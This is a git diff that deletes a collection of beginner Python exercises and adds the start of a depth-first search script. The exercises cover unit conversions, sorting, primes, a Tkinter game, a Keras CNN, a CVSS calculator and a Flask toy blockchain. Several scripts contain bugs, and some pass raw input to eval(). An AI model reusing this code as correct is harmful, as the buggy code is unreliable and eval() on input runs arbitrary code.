diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/celsius to fahrenheit.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/celsius to fahrenheit.txt deleted file mode 100644 index e166d5d8d04..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/celsius to fahrenheit.txt +++ /dev/null @@ -1,9 +0,0 @@ -Write a program to read the temperature in Celsius from the user and convert it into Fahrenheit-: - -Ans -celsius = 37 -fahrenheit = (celsius * 1.8) + 32 -print('%0.1f degree Celsius is equal to %0.1f degree Fahrenheit'%(celsius,fahrenheit)) - -Output-: -37.0 degree Celsius is equal to 98.6 degree Fahrenheit \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/concatenate list.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/concatenate list.txt deleted file mode 100644 index a8fa228af2b..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/concatenate list.txt +++ /dev/null @@ -1,9 +0,0 @@ -To concatenate two lists-: - -Ans-list_1 = [1, 'a'] - list_2 = [3, 4, 5] - list_joined = list_1 + list_2 - print(list_joined) - -Output- -[1, 'a', 3, 4, 5] \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/descending order.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/descending order.txt deleted file mode 100644 index b874357f557..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/descending order.txt +++ /dev/null @@ -1,11 +0,0 @@ -To sort a list of elements in descending order-: - -Ans-NumList = [10,20,80,50,100,60] - print("\nElement Before Sorting is: ", NumList) - NumList.sort(reverse=True) - print("\nElement After Sorting List in Descending Order is:\n", NumList) -OutputElement- - -Before Sorting is: [10, 20, 80, 50, 100, 60] -Element After Sorting List in Descending Order is: -[100, 80, 60, 50, 20, 10] \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/distance-find.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/distance-find.txt deleted file mode 100644 index 874c3001f5a..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/distance-find.txt +++ /dev/null @@ -1,7 +0,0 @@ -distance.py - -distance = eval(input("enter Distance between cities in Km ")) - -print(distance*1000, " Metres") -print(distance*100000, " Centi Metres") -print(distance*0.6213, " Miles") \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/divisible by 5 or 10.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/divisible by 5 or 10.txt deleted file mode 100644 index fd5b35f82a2..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/divisible by 5 or 10.txt +++ /dev/null @@ -1,14 +0,0 @@ -Write a program to test whether a number is divisible by 5 and 10 or by 5 or 10-: - -Ans -number = int(input(" Please Enter any Positive Integer : ")) -if(number % 5 == 0): - print("Given Number {0} is Divisible by 5 ".format(number)) -else: - print("Given Number {0} is Not Divisible by 5 ".format(number)) - -Output -a)Please Enter any Positive Integer : 55 - Given Number 55 is Divisible by 5 -b)Please Enter any Positive Integer : 59 - Given Number 59 is Not Divisible by 5 \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/factorial using recursion.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/factorial using recursion.txt deleted file mode 100644 index 1db33c5289b..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/factorial using recursion.txt +++ /dev/null @@ -1,16 +0,0 @@ -To calculate the factorial of a number using recursion-: - -Ans-def recur_factorial(n): - if n == 1: - return n - else: - return n*recur_factorial(n-1) -num = 10 -if num < 0: - print("Sorry, factorial does not exist for negative numbers") -elif num == 0: - print("The factorial of 0 is 1") -else: - print("The factorial of", num, "is", recur_factorial(num)) - -Output- 3628800 diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/finding week by number.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/finding week by number.txt deleted file mode 100644 index e6167a4fca9..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/finding week by number.txt +++ /dev/null @@ -1,26 +0,0 @@ -Write a program to prompt a user to enter a day of the week. If the entered day of the week is between 1 and 7 then display the respective name of the day-: - -Ans -weekday = int(input("Enter weekday day number (1-7) : ")) - -if weekday == 1 : - print("\nMonday"); -elif weekday == 2 : - print("\nTuesday") -elif(weekday == 3) : - print("\nWednesday") -elif(weekday == 4) : - print("\nThursday") -elif(weekday == 5) : - print("\nFriday") -elif(weekday == 6) : - print("\nSaturday") -elif (weekday == 7) : - print("\nSunday") -else : - print("\nPlease enter weekday number between 1-7.") - -Output -Enter weekday day number (1-7) : 5 - -Friday \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/given-list-no..txt b/Add Code Here/PYTHON/Basic Pyhton Programs/given-list-no..txt deleted file mode 100644 index 79873f2f11a..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/given-list-no..txt +++ /dev/null @@ -1,10 +0,0 @@ -To search a number from given list of numbers-: - -Ans- mylist = [1, 2, 3, 4, 5, 6, 7, 8] - myinput = int(input("Type in a number ")) - print("Number is in the list." if myinput in mylist else "Number not in - list."). - -Output- -Type in a number :5 -Number is in the list. \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/greatest number.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/greatest number.txt deleted file mode 100644 index 06cae56670c..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/greatest number.txt +++ /dev/null @@ -1,20 +0,0 @@ -Write a program to read three numbers from a user and check if the first number is greater or less than the other two numbers-: - -Ans -num1 = float(input("Enter first number: ")) -num2 = float(input("Enter second number: ")) -num3 = float(input("Enter third number: ")) -if (num1 >= num2) and (num1 >= num3): - largest = num1 -elif (num2 >= num1) and (num2 >= num3): - largest = num2 -else: - largest = num3 -print("The largest number is", largest) - -Output -Enter first number: 10 -Enter second number: 50 -Enter third number: 30 - -The largest number is 50.0 \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/palidrome.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/palidrome.txt deleted file mode 100644 index d5e5e1eb249..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/palidrome.txt +++ /dev/null @@ -1,17 +0,0 @@ -palidrome.py(imp) - -givenString = (input("Enter a String ")) -l = len(givenString) - -def checkPalindrome(givenString, l): - newString = "" - for i in range(l-1, -1, -1): - newString += givenString[i] - - print(newString) - if newString != givenString: - print("Not Palindrome") - else: - print("Palindrome") - -checkPalindrome(givenString, l) \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/prime-no.-list.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/prime-no.-list.txt deleted file mode 100644 index 36931c24bbf..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/prime-no.-list.txt +++ /dev/null @@ -1,15 +0,0 @@ -list of prime.py - -prime = [] -non_Prime = [] -a = eval(input("Enter a ")) -b = eval(input("Enter b ")) -for i in range (a, b): - for j in range(2, i): - if i%j ==0: - non_Prime.append(i) - break - else: - prime.append(i) -print("Prime Numbers between ", a, " and ", b, prime) -print("Non-Prime Numbers between ",a, " and ", b, non_Prime) \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/printnumbers.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/printnumbers.txt deleted file mode 100644 index 3a13b51bb79..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/printnumbers.txt +++ /dev/null @@ -1,10 +0,0 @@ -printnumbers.py - -count = 0 -for i in range(1000,2000): - if count % 10 == 0: - print() - print(i, end = " ") - else: - print(i, end = " ") - count += 1 \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/quadatic-roots.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/quadatic-roots.txt deleted file mode 100644 index 64fad69577a..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/quadatic-roots.txt +++ /dev/null @@ -1,22 +0,0 @@ -quadatic roots - -import math - -a= float(input("Enter A ")) -b= float(input("Enter B ")) -c= float(input("Enter C ")) -print(a) -print(b) -print(c) - -if a == 0: - print("Error a=0 cannot be ") -else: - d = (b*b) - (4*a*c) - if d >= 0: - sqRoot = math.sqrt((b*b) - (4*a*c)) - root1 = (-b + sqRoot)/2*a - root2 = (-b - sqRoot)/2*a - print("Roots : ",root1, root2) - else: - print("Imaginary Roots") \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/return 2 numbers.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/return 2 numbers.txt deleted file mode 100644 index 1e4fee7134d..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/return 2 numbers.txt +++ /dev/null @@ -1,13 +0,0 @@ -Write a program to return minimum of two numbers-: - -Ans -def minimum(a, b): - - if a <= b: - return a - else: - return b -a = 2 -b = 4 -print(minimum(a, b)) -Output- 2 \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/square and cube.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/square and cube.txt deleted file mode 100644 index f8efe22a8c3..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/square and cube.txt +++ /dev/null @@ -1,13 +0,0 @@ -Write a program to calculate the square and cube of a number using *operator-: -Ans -def square (num): - return num*num -def cube (num): - return num*num*num -number = int(input("Enter an integer number: ")) -print("Square of ",number," is ", square(number)) -print("Cube of ",number," is ", cube(number)) - -OutputEnter an integer number: 5 -Square of 5 is 25 -Cube of 5 is 125 \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic Pyhton Programs/tuple.txt b/Add Code Here/PYTHON/Basic Pyhton Programs/tuple.txt deleted file mode 100644 index 104b46a791d..00000000000 --- a/Add Code Here/PYTHON/Basic Pyhton Programs/tuple.txt +++ /dev/null @@ -1,8 +0,0 @@ -tuple.py - -# Tuplee -a=(5, "Rakshit", 7.7) -print(a[0]) -print(a) -a[1]="Malhotra" -print(a) \ No newline at end of file diff --git a/Add Code Here/PYTHON/Basic python programs b/Add Code Here/PYTHON/Basic python programs deleted file mode 100644 index 8b137891791..00000000000 --- a/Add Code Here/PYTHON/Basic python programs +++ /dev/null @@ -1 +0,0 @@ - diff --git a/Add Code Here/PYTHON/Bench.py b/Add Code Here/PYTHON/Bench.py deleted file mode 100644 index 505d7b70eff..00000000000 --- a/Add Code Here/PYTHON/Bench.py +++ /dev/null @@ -1,21 +0,0 @@ -import timeit -import time - -def long_function(): - print('function start') - num = 84684168461654343484687 - flag = False - - if num > 1: - for i in range(2, num): - if (num % i) == 0: - flag = True - break - - if flag: - print(num, "is not a prime number") - else: - print(num, "is a prime number") - print('function end') - -print(timeit.Timer(long_function).timeit(number=1)) \ No newline at end of file diff --git a/Add Code Here/PYTHON/Best_First_Search_Algo.py b/Add Code Here/PYTHON/Best_First_Search_Algo.py deleted file mode 100644 index 798c871c39f..00000000000 --- a/Add Code Here/PYTHON/Best_First_Search_Algo.py +++ /dev/null @@ -1,54 +0,0 @@ -from queue import PriorityQueue -v = 14 -graph = [[] for i in range(v)] - -# Function For Implementing Best First Search -# Gives output path having lowest cost - - -def best_first_search(actual_Src, target, n): - visited = [False] * n - pq = PriorityQueue() - pq.put((0, actual_Src)) - visited[actual_Src] = True - - while pq.empty() == False: - u = pq.get()[1] - # Displaying the path having lowest cost - print(u, end=" ") - if u == target: - break - - for v, c in graph[u]: - if visited[v] == False: - visited[v] = True - pq.put((c, v)) - print() - -# Function for adding edges to graph - - -def addedge(x, y, cost): - graph[x].append((y, cost)) - graph[y].append((x, cost)) - - -# The nodes shown in above example(by alphabets) are -# implemented using integers addedge(x,y,cost); -addedge(0, 1, 3) -addedge(0, 2, 6) -addedge(0, 3, 5) -addedge(1, 4, 9) -addedge(1, 5, 8) -addedge(2, 6, 12) -addedge(2, 7, 14) -addedge(3, 8, 7) -addedge(8, 9, 5) -addedge(8, 10, 6) -addedge(9, 11, 1) -addedge(9, 12, 10) -addedge(9, 13, 2) - -source = 0 -target = 9 -best_first_search(source, target, v) diff --git a/Add Code Here/PYTHON/Boruvkas_algorithm.py b/Add Code Here/PYTHON/Boruvkas_algorithm.py deleted file mode 100644 index 9ee263cb26a..00000000000 --- a/Add Code Here/PYTHON/Boruvkas_algorithm.py +++ /dev/null @@ -1,103 +0,0 @@ -class Graph: - def __init__(self, vertices): - self.Destination = vertices - self.edges = [] - self.component = {} - def add_edge(self, Source, Destination, weight): - self.edges.append([Source, Destination, weight]) - def find_component(self, Source): - if self.component[Source] == Source: - return Source - return self.find_component(self.component[Source]) - - def set_component(self, Source): - if self.component[Source] == Source: - return - else: - for k in self.component.keys(): - self.component[k] = self.find_component(k) - - def union(self, component_size, Source, Destination): - if component_size[Source] <= component_size[Destination]: - self.component[Source] = Destination - component_size[Destination] += component_size[Source] - self.set_component(Source) - - elif component_size[Source] >= component_size[Destination]: - self.component[Destination] = self.find_component(Source) - component_size[Source] += component_size[Destination] - self.set_component(Destination) - - print(self.component) - - def boruvka(self): - component_size = [] - mst_weight = 0 - - minimum_weight_edge = [-1] * self.Destination - - for node in range(self.Destination): - self.component.update({node: node}) - component_size.append(1) - - num_of_components = self.Destination - - print("---------Forming MST------------") - while num_of_components > 1: - for i in range(len(self.edges)): - - Source = self.edges[i][0] - Destination = self.edges[i][1] - w = self.edges[i][2] - - Source_component = self.component[Source] - Destination_component = self.component[Destination] - - if Source_component != Destination_component: - if minimum_weight_edge[Source_component] == -1 or \ - minimum_weight_edge[Source_component][2] > w: - minimum_weight_edge[Source_component] = [Source, Destination, w] - if minimum_weight_edge[Destination_component] == -1 or \ - minimum_weight_edge[Destination_component][2] > w: - minimum_weight_edge[Destination_component] = [Source, Destination, w] - - for node in range(self.Destination): - if minimum_weight_edge[node] != -1: - Source = minimum_weight_edge[node][0] - Destination = minimum_weight_edge[node][1] - w = minimum_weight_edge[node][2] - - Source_component = self.component[Source] - Destination_component = self.component[Destination] - - if Source_component != Destination_component: - mst_weight += w - self.union(component_size, Source_component, Destination_component) - print("edge_Added [" + str(Source) + " - " - + str(Destination) + "]\n" - + "weight_Added: " + str(w) + "\n") - num_of_components -= 1 - - minimum_weight_edge = [-1] * self.Destination - print("-------------Hacktoberfest2022---------------------") - print("The minimum spanning tree is overall weighed is: " + str(mst_weight)) - -g = Graph(9) -g.add_edge(0, 1, 4) -g.add_edge(0, 6, 7) -g.add_edge(1, 6, 11) -g.add_edge(1, 7, 20) -g.add_edge(1, 2, 9) -g.add_edge(2, 3, 6) -g.add_edge(2, 4, 2) -g.add_edge(3, 4, 10) -g.add_edge(3, 5, 5) -g.add_edge(4, 5, 15) -g.add_edge(4, 7, 1) -g.add_edge(4, 8, 5) -g.add_edge(5, 8, 12) -g.add_edge(6, 7, 1) -g.add_edge(7, 8, 3) -g.boruvka() - -#by: Max Muller \ No newline at end of file diff --git a/Add Code Here/PYTHON/Buuble_sort.py b/Add Code Here/PYTHON/Buuble_sort.py deleted file mode 100644 index 6f55280e956..00000000000 --- a/Add Code Here/PYTHON/Buuble_sort.py +++ /dev/null @@ -1,26 +0,0 @@ -def bubbleSort(arr): - n = len(arr) - swapped = False - - for i in range(n-1): - - for j in range(0, n-i-1): - - - if arr[j] > arr[j + 1]: - swapped = True - arr[j], arr[j + 1] = arr[j + 1], arr[j] - - if not swapped: - - return - - - -arr = [64, 34, 25, 12, 22, 11, 90] - -bubbleSort(arr) - -print("Sorted array is:") -for i in range(len(arr)): - print("% d" % arr[i], end=" ") diff --git a/Add Code Here/PYTHON/CVSS.py b/Add Code Here/PYTHON/CVSS.py deleted file mode 100644 index 926c7378882..00000000000 --- a/Add Code Here/PYTHON/CVSS.py +++ /dev/null @@ -1,46 +0,0 @@ -import matplotlib.pyplot as plt - -aVvals,aCvals,pRvals,uIvals, CIAvals = [0.85,0.62,0.55,0.2],[0.77,0.44],[[0.85,0.85],[0.62,0.68],[0.27,0.5]],[0.85,0.62], [0, 0.22, 0.56] - -print("Scope (SC)\n1.Unchanged(UC)\t2.Changed(C)\n") -sc = int(input("Enter Scope (1-2) :: ")) - -print("\nAttack Vector (AV)\n1.Network(N)\t2.Adjacent(A)\t3.Local(L)\t4.Physical(P)\n") -attackVector = aVvals[int(input("Enter Attack Vector (1-4) :: "))-1] - -print("\nAttack Complexity (AC)\n1.Low(L)\t2.High(H)\n") -attackComplexity = aCvals[int(input("Enter Attack Complexity (1-2) :: "))-1] - -print("\nPrivileges Required (PR)\n1.None(N)\t2.Low(L)\t3.High(H)\n") -privilegesRequired = pRvals[int(input("Enter Privileges Required (1-3) :: "))-1][sc-1] - -print("\nUser Interaction (UI)\n1.None(N)\t2.Required(R)\n") -userInteraction = uIvals[int(input("Enter User Interaction (1-2) :: "))-1] - -print("\nConfidentiality (C)\n1.None(N)\t2.Low(L)\t3.High(H)\n") -confidentiality = CIAvals[int(input("Enter Confidentiality (1-3) :: "))-1] - -print("\nIntegrity (I)\n1.None(N)\t2.Low(L)\t3.High(H)\n") -integrity = CIAvals[int(input("Enter Integrity (1-3) :: "))-1] - -print("\nAvailability (A)\n1.None(N)\t2.Low(L)\t3.High(H)\n") -availability = CIAvals[int(input("Enter Availability (1-3) :: "))-1] - -ISSval = 1-((1-confidentiality)*(1-integrity)*(1-availability)) -impactVal = round(6.42*ISSval) if sc==1 else round((7.52*(ISSval-0.029)) - (3.25*pow((ISSval-0.02),15))) -exploitVal = round(8.22 * attackVector * attackComplexity * privilegesRequired * userInteraction) -baseVal = 0 -if impactVal == 0 : - baseVal = 0 -elif sc==1: - baseVal = round(min((impactVal + exploitVal),10)) -else: - baseVal = round(min((1.08*(impactVal + exploitVal)),10)) - -plt.bar(["Base","Impact","Exploitability"],[baseVal,impactVal,exploitVal]) -plt.xlabel("Categories") -plt.ylabel("CVSS Score") -plt.text(0,baseVal,baseVal,ha='center') -plt.text(1,impactVal,impactVal,ha='center') -plt.text(2,exploitVal,exploitVal,ha='center') -plt.show() diff --git a/Add Code Here/PYTHON/ColorGame.py b/Add Code Here/PYTHON/ColorGame.py deleted file mode 100644 index 8cbef13163e..00000000000 --- a/Add Code Here/PYTHON/ColorGame.py +++ /dev/null @@ -1,123 +0,0 @@ -# import the modules -import tkinter -import random - -# list of colour. -colours = ['Red','Blue','Green','Pink','Black', - 'Yellow','Orange','White','Purple','Brown'] -score = 0 - -# the game time left, initially 30 seconds. -timeleft = 30 - -# function that will start the game. -def startGame(event): - - if timeleft == 30: - - # start the countdown timer. - countdown() - - # run the function to - # choose the next colour. - nextColour() - -# Function to choose and -# display the next colour. -def nextColour(): - - # use the globally declared 'score' - # and 'play' variables above. - global score - global timeleft - - # if a game is currently in play - if timeleft > 0: - - # make the text entry box active. - e.focus_set() - - # if the colour typed is equal - # to the colour of the text - if e.get().lower() == colours[1].lower(): - - score += 1 - - # clear the text entry box. - e.delete(0, tkinter.END) - - random.shuffle(colours) - - # change the colour to type, by changing the - # text _and_ the colour to a random colour value - label.config(fg = str(colours[1]), text = str(colours[0])) - - # update the score. - scoreLabel.config(text = "Score: " + str(score)) - - -# Countdown timer function -def countdown(): - - global timeleft - - # if a game is in play - if timeleft > 0: - - # decrement the timer. - timeleft -= 1 - - # update the time left label - timeLabel.config(text = "Time left: " - + str(timeleft)) - - # run the function again after 1 second. - timeLabel.after(1000, countdown) - - -# Driver Code - -# create a GUI window -root = tkinter.Tk() - -# set the title -root.title("COLORGAME") - -# set the size -root.geometry("375x200") - -# add an instructions label -instructions = tkinter.Label(root, text = "Type in the colour" - "of the words, and not the word text!", - font = ('Helvetica', 12)) -instructions.pack() - -# add a score label -scoreLabel = tkinter.Label(root, text = "Press enter to start", - font = ('Helvetica', 12)) -scoreLabel.pack() - -# add a time left label -timeLabel = tkinter.Label(root, text = "Time left: " + - str(timeleft), font = ('Helvetica', 12)) - -timeLabel.pack() - -# add a label for displaying the colours -label = tkinter.Label(root, font = ('Helvetica', 60)) -label.pack() - -# add a text entry box for -# typing in colours -e = tkinter.Entry(root) - -# run the 'startGame' function -# when the enter key is pressed -root.bind('', startGame) -e.pack() - -# set focus on the entry box -e.focus_set() - -# start the GUI -root.mainloop() diff --git a/Add Code Here/PYTHON/ConvNets.py b/Add Code Here/PYTHON/ConvNets.py deleted file mode 100644 index 90ead96d23d..00000000000 --- a/Add Code Here/PYTHON/ConvNets.py +++ /dev/null @@ -1,135 +0,0 @@ -import numpy as np -import tensorflow as tf -from tensorflow import keras -from tensorflow.keras.models import Sequential -from tensorflow.keras.layers import Activation, Dense, Flatten, BatchNormalization, Conv2D, MaxPool2D -from tensorflow.keras.metrics import categorical_crossentropy -from tensorflow.keras.preprocessing.image import ImageDataGenerator -from tensorflow.keras.optimizers import Adam -from sklearn.metrics import confusion_matrix -import itertools -import os -import random -import glob -import shutil -import matplotlib.pyplot as plt -import warnings - -warnings.simplefilter(action='ignore', category=FutureWarning) - -loc = r'C:\Users\suyash\Desktop\cats vs dogs\train' -os.chdir(loc) - -if os.path.isdir('train/dog') is False: - os.makedirs('train/dog') - os.makedirs('train/cat') - os.makedirs('valid/dog') - os.makedirs('valid/cat') - os.makedirs('test/dog') - os.makedirs('test/cat') - - for c in random.sample(glob.glob('cat*'),500): - shutil.move(c, 'train/cat') - for c in random.sample(glob.glob('dog*'),500): - shutil.move(c, 'train/dog') - for c in random.sample(glob.glob('cat*'),100): - shutil.move(c, 'valid/cat') - for c in random.sample(glob.glob('dog*'),100): - shutil.move(c, 'valid/dog') - for c in random.sample(glob.glob('cat*'),50): - shutil.move(c, 'test/cat') - for c in random.sample(glob.glob('dog*'),50): - shutil.move(c, 'test/dog') - -train = r'C:\Users\suyash\Desktop\cats vs dogs\train\train' -valid = r'C:\Users\suyash\Desktop\cats vs dogs\train\valid' -test = r'C:\Users\suyash\Desktop\cats vs dogs\train\test' - -trainBatch = ImageDataGenerator(preprocessing_function=tf.keras.applications.vgg16.preprocess_input)\ - .flow_from_directory(directory=train, target_size=(224,224), classes=['cat', 'dog'],batch_size=10) -validBatch = ImageDataGenerator(preprocessing_function=tf.keras.applications.vgg16.preprocess_input)\ - .flow_from_directory(directory=valid, target_size=(224,224), classes=['cat', 'dog'],batch_size=10) -testBatch = ImageDataGenerator(preprocessing_function=tf.keras.applications.vgg16.preprocess_input)\ - .flow_from_directory(directory=test, target_size=(224,224), classes=['cat', 'dog'],batch_size=10) - -assert trainBatch.n == 1000 -assert validBatch.n == 200 -assert testBatch.n == 100 -assert trainBatch.num_classes == validBatch.num_classes == testBatch.num_classes == 2 - -imgs, labels = next(trainBatch) - -def plotImage(image_arr): - fig, axes = plt.subplots(1,10,figsize=(20,20)) - axes = axes.flatten() - for img,ax in zip(image_arr, axes): - ax.imshow(img) - ax.axis('off') - - plt.tight_layout() - plt.show() - -plotImage(imgs) -print(labels) - -model = Sequential([ - Conv2D(filters=32, kernel_size=(3,3), activation='relu', padding='same',input_shape=(224,224,3)), - MaxPool2D(pool_size=(2,2), strides=2), - Conv2D(filters=64, kernel_size=(3,3), activation='relu',padding='same'), - MaxPool2D(pool_size=(2,2), strides=2), - Flatten(), - Dense(units=2, activation='softmax'), -]) - -model.summary() - -model.compile(optimizer=Adam(learning_rate=0.0001), loss='categorical_crossentropy', metrics=['accuracy']) - -# With the help of the generator we have made the batches and the generated data is their with their y cordinates -model.fit(x=trainBatch, validation_data=validBatch, epochs=10, verbose=2) - -# using the next function to get the batch of the training -timgs, tlabels = next(testBatch) -plotImage(timgs) -print(tlabels,testBatch.classes) - -# Finding the model performance and rounding it of to the closest value -predict = model.predict(x=testBatch, verbose=0) -np.round(predict) - -# Calculating the confusion matrix -cm = confusion_matrix(y_true=testBatch.classes, y_pred= np.argmax(predict, axis=-1)) - -def plot_confusion_matrix(cm, classes, - normalize=False, - title='Confusion matrix', - cmap=plt.cm.Blues): - """ - This function prints and plots the confusion matrix. - Normalization can be applied by setting `normalize=True`. - """ - plt.imshow(cm, interpolation='nearest', cmap=cmap) - plt.title(title) - plt.colorbar() - tick_marks = np.arange(len(classes)) - plt.xticks(tick_marks, classes, rotation=45) - plt.yticks(tick_marks, classes) - - if normalize: - cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis] - print("Normalized confusion matrix") - else: - print('Confusion matrix, without normalization') - - print(cm) - - thresh = cm.max() / 2. - for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])): - plt.text(j, i, cm[i, j], - horizontalalignment="center", - color="white" if cm[i, j] > thresh else "black") - - plt.tight_layout() - plt.ylabel('True label') - plt.xlabel('Predicted label') - plt.show() diff --git a/Add Code Here/PYTHON/CreateCryptocurrency.py b/Add Code Here/PYTHON/CreateCryptocurrency.py deleted file mode 100644 index 598b43e4ebb..00000000000 --- a/Add Code Here/PYTHON/CreateCryptocurrency.py +++ /dev/null @@ -1,162 +0,0 @@ -import datetime -import hashlib -import json -from flask import Flask, jsonify, request -import requests -from uuid import uuid4 -from urllib.parse import urlparse - -class Blockchain: - - def __init__(self): - self.chain = [] - self.transactions = [] - self.create_block(proof = 1, previous_hash = '0') - self.nodes = set() - - def create_block(self, proof, previous_hash): - block = {'index': len(self.chain) + 1, - 'timestamp': str(datetime.datetime.now()), - 'proof': proof, - 'previous_hash': previous_hash, - 'transactions': self.transaction} - self.transactions = [] - self.chain.append(block) - return block - - def get_previous_block(self): - return self.chain[-1] - - def proof_of_work(self, previous_proof): - new_proof = 1 - check_proof = False - while check_proof is False: - hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() - if hash_operation[:4] == '0000': - check_proof = True - else: - new_proof += 1 - return new_proof - - def hash(self, block): - encoded_block = json.dumps(block, sort_keys = True).encode() - return hashlib.sha256(encoded_block).hexdigest() - - def is_chain_valid(self, chain): - previous_block = chain[0] - block_index = 1 - while block_index < len(chain): - block = chain[block_index] - if block['previous_hash'] != self.hash(previous_block): - return False - previous_proof = previous_block['proof'] - proof = block['proof'] - hash_operation = hashlib.sha256(str( proof**2 - previous_proof**2).encode()).hexdigest() - if hash_operation[:4] != '0000': - return False - previous_block = block - block_index +=1 - return True - - def add_transaction(self, sender, receiver, amount): - self.transactions.append({'sender': sender, - 'receiver': receiver, - 'amount': amount}) - previous_block = self.get_previous_block() - return previous_block['index'] + 1 - - def add_node(self, address): - parsed_url = urlparse(address) - self.nodes.add(parsed_url.netloc) - - def replace_chain(self): - network = self.nodes - longest_chain = None - max_length = len(self.chain) - for node in network: - response = requests.get(f'http://{node}/get_chain') - if response.status_code == 200: - length = response.json()['length'] - chain = response.json()['chain'] - if length > max_length and self.is_chain_valid(chain): - max_length = length - longest_chain = chain - if longest_chain(): - self.chain = longest_chain() - return True - return False - - -app = Flask(__name__) - -node_address = str(uuid4()).replace('-', '') - -blockchain = Blockchain() - -@app.route('/mine_block', methods =['GET']) -def mine_block(): - previous_block = blockchain.get_previous_block() - previous_proof = previous_block['proof'] - proof = blockchain.proof_of_work(previous_proof) - previous_hash = blockchain.hash(previous_block) - blockchain.add_transaction(sender = node_address, receiver = 'Anant', amount = 1) - block = blockchain.create_block(proof, previous_hash) - response = {'message': 'Congratulations, you have just mined a block', - 'index': block['index'], - 'timestamp': block['timestamp'], - 'proof': block['proof'], - 'previous_hash': block['previous_hash'], - 'transactions': block['transactions']} - return jsonify(response), 200 - -@app.route('/get_chain', methods = ['GET']) -def get_chain(): - response = {'chain': blockchain.chain, - 'length': len(blockchain.chain)} - return jsonify(response), 200 - -@app.route('/is_valid', methods = ['GET']) -def is_valid(): - is_valid = blockchain.is_chain_valid(blockchain.chain) - if is_valid: - response = {'message': 'All good, The Blockchain is valid'} - else: - response = {'message': 'Sorry, we have a problem. The Blockchain is not valid'} - - return jsonify(response), 200 - -@app.route('/get_transaction', methods = ['POST']) -def add_transaction(): - json = request.get_json() - transaction_keys = ['sender', 'receiver', 'amount'] - if not all (key in json for key in transaction_keys): - return 'Some elements of the transaction are missing', 400 - index = blockchain.add_transaction(json['sender'], json['receiver'], json['amount']) - response = {"message": f'This transaction will be added to Block {index}'} - return jsonify(response), 201 - -@app.route('/connect_node', methods = ['POST']) -def connect_node(): - json = request.get_json() - nodes = json.get('nodes') - if nodes in None: - return "No Node", 400 - for node in nodes: - blockchain.add_node(node) - response = {'message': 'All the nodes are now connected. The Anant Blockchain now contains following nodes:', - 'total_nodes': list(blockchain.nodes)} - return jsonify(response), 201 - -@app.route('/replace_chain', methods = ['GET']) -def replace_chain(): - is_chain_replace = blockchain.replace_chain() - if is_chain_replace: - response = {'message': 'The nodes has diffrent chains so the chain is replaced by longest one.', - 'new_chain': blockchain.chain} - else: - response = {'message': 'All Good. The chain is the largest one.', - 'actual_chain': blockchain.chain} - - return jsonify(response), 200 - -app.run(host = '0.0.0.0', port = 5000) diff --git a/Add Code Here/PYTHON/DFS.py b/Add Code Here/PYTHON/DFS.py new file mode 100644 index 00000000000..cf270b56708 --- /dev/null +++ b/Add Code Here/PYTHON/DFS.py @@ -0,0 +1,57 @@ +from collections import defaultdict + +class Graph: + + def __init__(self): + + # default dictionary to store graph + self.graph = defaultdict(list) + + # function to add an edge to graph + def addEdge(self,u,v): + self.graph[u].append(v) + + # A function used by DFS + def DFSUtil(self, v, visited): + + # Mark the current node as visited and print it + visited[v]= True + print v, + + # Recur for all the vertices adjacent to + # this vertex + for i in self.graph[v]: + if visited[i] == False: + self.DFSUtil(i, visited) + + + # The function to do DFS traversal. It uses + # recursive DFSUtil() + def DFS(self): + V = len(self.graph) #total vertices + + # Mark all the vertices as not visited + visited =[False]*(V) + + # Call the recursive helper function to print + # DFS traversal starting from all vertices one + # by one + for i in range(V): + if visited[i] == False: + self.DFSUtil(i, visited) + + +# Driver code +if __name__ == '__main__': + # Create a graph + g = Graph() 